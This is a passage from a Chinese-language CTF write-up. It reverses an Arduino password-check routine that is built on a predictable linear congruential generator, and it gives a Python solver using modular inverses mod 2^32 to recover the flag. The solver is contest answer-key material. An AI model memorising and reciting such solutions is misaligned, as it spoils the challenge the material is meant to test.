</span></span><span class="line"><span class="ln">31</span><span class="cl">      <span class="n">temp</span> <span class="o">+=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="nf">gen_random</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">      <span class="n">temp</span> <span class="o">*=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="mh">0xfacefeed</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">      <span class="n">temp</span> <span class="o">^=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="nf">gen_random</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">
</span></span><span class="line"><span class="ln">35</span><span class="cl">      <span class="k">if</span> <span class="p">((</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">temp</span> <span class="o">!=</span> <span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">STATE</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">
</span></span><span class="line"><span class="ln">42</span><span class="cl"><span class="kt">void</span> <span class="nf">loop</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">  
</span></span><span class="line"><span class="ln">44</span><span class="cl">  <span class="nf">memset</span><span class="p">(</span><span class="n">user_input</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">MAX_SIZE</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">  <span class="nf">memset</span><span class="p">(</span><span class="n">start</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">
</span></span><span class="line"><span class="ln">47</span><span class="cl">  <span class="n">Serial</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="s">&#34;Enter your password: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">
</span></span><span class="line"><span class="ln">49</span><span class="cl">  <span class="k">while</span> <span class="p">(</span><span class="n">Serial</span><span class="p">.</span><span class="nf">available</span><span class="p">()</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">    <span class="nf">delay</span><span class="p">(</span><span class="mi">100</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl">
</span></span><span class="line"><span class="ln">53</span><span class="cl">  <span class="n">Serial</span><span class="p">.</span><span class="nf">readBytes</span><span class="p">(</span><span class="n">user_input</span><span class="p">,</span> <span class="n">MAX_SIZE</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">  
</span></span><span class="line"><span class="ln">55</span><span class="cl">  <span class="n">Serial</span><span class="p">.</span><span class="nf">println</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">56</span><span class="cl">  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl">    
</span></span><span class="line"><span class="ln">58</span><span class="cl">    <span class="n">start</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">|=</span> <span class="p">((</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">user_input</span><span class="p">[(</span><span class="n">i</span> <span class="o">*</span> <span class="mi">4</span><span class="p">)]</span>   <span class="o">&lt;&lt;</span> <span class="mi">24</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">59</span><span class="cl">    <span class="n">start</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">|=</span> <span class="p">((</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">user_input</span><span class="p">[(</span><span class="n">i</span> <span class="o">*</span> <span class="mi">4</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">&lt;&lt;</span> <span class="mi">16</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">60</span><span class="cl">    <span class="n">start</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">|=</span> <span class="p">((</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">user_input</span><span class="p">[(</span><span class="n">i</span> <span class="o">*</span> <span class="mi">4</span><span class="p">)</span><span class="o">+</span><span class="mi">2</span><span class="p">]</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">61</span><span class="cl">    <span class="n">start</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">|=</span> <span class="p">((</span><span class="kt">uint32_t</span><span class="p">)</span><span class="n">user_input</span><span class="p">[(</span><span class="n">i</span> <span class="o">*</span> <span class="mi">4</span><span class="p">)</span><span class="o">+</span><span class="mi">3</span><span class="p">]</span> <span class="o">&lt;&lt;</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">62</span><span class="cl">
</span></span><span class="line"><span class="ln">63</span><span class="cl">    <span class="n">Serial</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="n">start</span><span class="p">[</span><span class="n">i</span><span class="p">],</span><span class="n">HEX</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">64</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">65</span><span class="cl">
</span></span><span class="line"><span class="ln">66</span><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="nf">check_pass</span><span class="p">(</span><span class="n">start</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">67</span><span class="cl">    <span class="n">Serial</span><span class="p">.</span><span class="nf">print</span><span class="p">(</span><span class="s">&#34;Thats it!</span><span class="se">\r\n</span><span class="s">Submit in the format FLAG{&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">68</span><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">69</span><span class="cl">          <span class="n">Serial</span><span class="p">.</span><span class="nf">print</span><span class="p">(</span><span class="n">start</span><span class="p">[</span><span class="n">i</span><span class="p">],</span><span class="n">HEX</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">70</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">71</span><span class="cl">    <span class="n">Serial</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="s">&#34;}&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">72</span><span class="cl">    <span class="k">while</span> <span class="p">(</span><span class="nb">true</span><span class="p">)</span> <span class="p">{</span> <span class="nf">delay</span><span class="p">(</span><span class="mi">1000</span><span class="p">);</span> <span class="p">}</span>
</span></span><span class="line"><span class="ln">73</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">74</span><span class="cl">
</span></span><span class="line"><span class="ln">75</span><span class="cl">  <span class="c1">// Failed, just spin
</span></span></span><span class="line"><span class="ln">76</span><span class="cl">  <span class="n">Serial</span><span class="p">.</span><span class="nf">println</span><span class="p">(</span><span class="s">&#34;Incorrect password!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">77</span><span class="cl">  <span class="k">while</span> <span class="p">(</span><span class="nb">true</span><span class="p">)</span> <span class="p">{</span><span class="nf">delay</span><span class="p">(</span><span class="mi">1000</span><span class="p">);</span> <span class="p">}</span>
</span></span><span class="line"><span class="ln">78</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>首先是输入最大16字节，每四个一组，大端序存到start数组中</p>
<p>然后每组放到check_pass中做计算，分别判断是否等于四个预设值</p>
<p>这里check_pass虽然有随机数，但是伪随机，所有初始值都给了，每次返回的seed我们也就知道了</p>
<p>脚本：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="c1">#define MAX_SIZE 32</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="mi">1103515245</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">c</span> <span class="o">=</span> <span class="mi">12345</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">m</span> <span class="o">=</span> <span class="mi">2147483647</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="mi">1337</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">STATE</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x1e48add6</span><span class="p">,</span> <span class="mh">0xaaa7550c</span><span class="p">,</span> <span class="mh">0x18df53bf</span><span class="p">,</span> <span class="mh">0xe6af1116</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">MOD</span> <span class="o">=</span> <span class="mi">2</span><span class="o">**</span><span class="mi">32</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="k">def</span> <span class="nf">inv</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="c1"># 计算模 2^32 下的乘法逆元</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="k">return</span> <span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">MOD</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="n">inv_CAFE</span> <span class="o">=</span> <span class="n">inv</span><span class="p">(</span><span class="mh">0xcafebeef</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="n">inv_FACE</span> <span class="o">=</span> <span class="n">inv</span><span class="p">(</span><span class="mh">0xfacefeed</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl">
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="k">def</span> <span class="nf">gen_random</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="k">global</span> <span class="n">seed</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">    <span class="n">seed</span> <span class="o">=</span> <span class="p">((</span><span class="n">a</span> <span class="o">*</span> <span class="n">seed</span> <span class="o">+</span> <span class="n">c</span><span class="p">)</span><span class="o">%</span> <span class="n">MOD</span><span class="p">)</span> <span class="o">%</span> <span class="n">m</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">seed</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">    <span class="k">return</span> <span class="n">seed</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">
</span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="c1"># 每组两次随机，总共8组，所以循环八次</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="n">rands</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">    <span class="n">rands</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">gen_random</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="c1"># 然后每段特征码和密钥，随机数反解密码</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="n">start</span><span class="o">=</span><span class="p">[]</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">    <span class="n">r1</span> <span class="o">=</span> <span class="n">rands</span><span class="p">[</span><span class="n">i</span> <span class="o">*</span> <span class="mi">2</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">    <span class="n">r2</span> <span class="o">=</span> <span class="n">rands</span><span class="p">[</span><span class="n">i</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">    <span class="n">temp</span> <span class="o">=</span> <span class="n">STATE</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">r2</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">    <span class="n">temp</span> <span class="o">=</span> <span class="p">(</span><span class="n">temp</span> <span class="o">*</span> <span class="n">inv_FACE</span><span class="p">)</span> <span class="o">%</span> <span class="n">MOD</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">    <span class="n">temp</span> <span class="o">=</span> <span class="p">(</span><span class="n">temp</span><span class="o">-</span><span class="n">r1</span><span class="p">)</span> <span class="o">%</span> <span class="n">MOD</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">    <span class="n">start_i</span><span class="o">=</span><span class="p">(</span><span class="n">temp</span> <span class="o">*</span> <span class="n">inv_CAFE</span><span class="p">)</span> <span class="o">%</span> <span class="n">MOD</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">    <span class="n">start</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">start_i</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">
</span></span><span class="line"><span class="ln">42</span><span class="cl"><span class="c1"># 转换成字节</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl"><span class="n">flag_bytes</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl"><span class="k">for</span> <span class="n">val</span> <span class="ow">in</span> <span class="n">start</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">    <span class="n">flag_bytes</span> <span class="o">+=</span> <span class="n">val</span><span class="o">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="n">byteorder</span><span class="o">=</span><span class="s1">&#39;big&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">
</span></span><span class="line"><span class="ln">47</span><span class="cl">
</span></span><span class="line"><span class="ln">48</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Recovered input:&#34;</span><span class="p">,</span> <span class="n">flag_bytes</span><span class="o">.</span><span class="n">hex</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;flag{&#34;</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl"><span class="k">for</span> <span class="n">val</span> <span class="ow">in</span> <span class="n">start</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">val</span><span class="si">:</span><span class="s2">08x</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;}&#34;</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>这个脚本很丑陋，非常手工，有一点怎么问AI也无法解决，就是生成随机数那个函数，youtube的官方视频，随机数数组和我的不一样，我逻辑并没问题，后来看了chamd5的wp，才知道要手动取低32位。因为源码是C语言，无符号变量进行的运算，溢出了会自动取32位，也就是模 2^32。包括后面的加减乘除都是在mod 2^32的情况下进行的。python的运算是无限精度的，所以它不会自动溢出取模，要手动。</p>
<p>ChaMD5的脚本也有一个不优雅的地方，他的随机数函数是：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">def</span> <span class="nf">gen_random</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">    <span class="k">return</span> <span class="p">((((((</span><span class="n">a</span><span class="o">&amp;</span><span class="mh">0xffffffff</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">seed</span><span class="o">&amp;</span><span class="mh">0xffffffff</span><span class="p">))</span><span class="o">&amp;</span><span class="mh">0xffffffff</span><span class="p">)</span> <span class="o">+</span> <span class="p">(</span><span class="n">c</span><span class="o">&amp;</span><span class="mh">0xffffffff</span><span class="p">))</span><span class="o">&amp;</span><span class="mh">0xffffffff</span><span class="p">)</span> <span class="o">%</span> <span class="n">m</span><span class="p">)</span><span class="o">&amp;</span><span class="mh">0xffffffff</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>使用 <code>0xffffffff</code> 每个变量都取低32位，但实际上，只需要整体模2^32就可以：</p>
